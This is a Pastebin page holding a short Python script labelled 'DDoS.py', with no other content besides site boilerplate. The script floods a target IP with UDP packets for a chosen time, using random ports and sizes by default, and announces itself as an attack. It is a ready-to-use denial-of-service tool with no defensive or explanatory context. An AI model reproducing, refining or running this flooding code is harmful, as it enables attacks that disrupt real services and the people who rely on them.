Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import sys
- import random
- import time
- if len(sys.argv) != 5:
- print("-Tip on use : python DDoS.py")
- sys.exit(1)
- ip = sys.argv[1]
- port = int(sys.argv[2])
- size = int(sys.argv[3])
- time_duration = int(sys.argv[4])
- iaddr = socket.gethostbyname(ip)
- endtime = time.time() + time_duration if time_duration else time.time() + 1000000
- print("~To cancel the attack press 'Ctrl-C'\n")
- print("|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n")
- print("|{0}|\t |{1}|\t\t |{2}|\t\t |{3}|\n".format(ip, port, size, time_duration))
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- try:
- while time.time() <= endtime:
- psize = size if size else random.randint(64, 1500)
- pport = port if port else random.randint(1, 65500)
- sock.sendto(b'flood' * psize, (ip, pport))
- except KeyboardInterrupt:
- print("Attack cancelled.")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement